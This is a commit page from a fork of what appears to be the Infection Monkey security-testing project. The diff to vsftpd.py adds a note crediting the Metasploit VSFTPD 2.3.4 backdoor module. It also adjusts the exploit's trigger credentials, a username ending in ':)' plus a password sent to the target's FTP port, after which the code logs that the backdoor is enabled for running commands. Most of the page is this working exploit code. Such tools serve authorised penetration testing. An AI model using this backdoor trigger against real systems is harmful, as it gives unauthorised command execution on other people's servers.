p59342861
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Update vsftpd.py 

Added information about the exploit at the top, and made slight change to the format of the string USERNAME & PASSWORD
This commit is contained in:
Dhayalan 2019-05-22 16:06:42 +02:00
parent 595a089e60
commit 38d8146c98
1 changed files with 11 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
monkey/infection_monkey/exploit/vsftpd.py
View File

@ -1,3 +1,10 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
import StringIO import StringIO
import logging import logging
import paramiko import paramiko
@ -22,8 +29,8 @@ RECV_128 = 128 # In Bytes
UNAME_M = "uname -m" UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;" UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)\n'# Ftp Username USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please\n' # Ftp Password PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter): class VSFTPDExploiter(HostExploiter):
@ -65,9 +72,9 @@ class VSFTPDExploiter(HostExploiter):
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8') ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME): if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD) self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close() ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands') LOG.info('Backdoor Enabled, Now we can run commands')
else: else: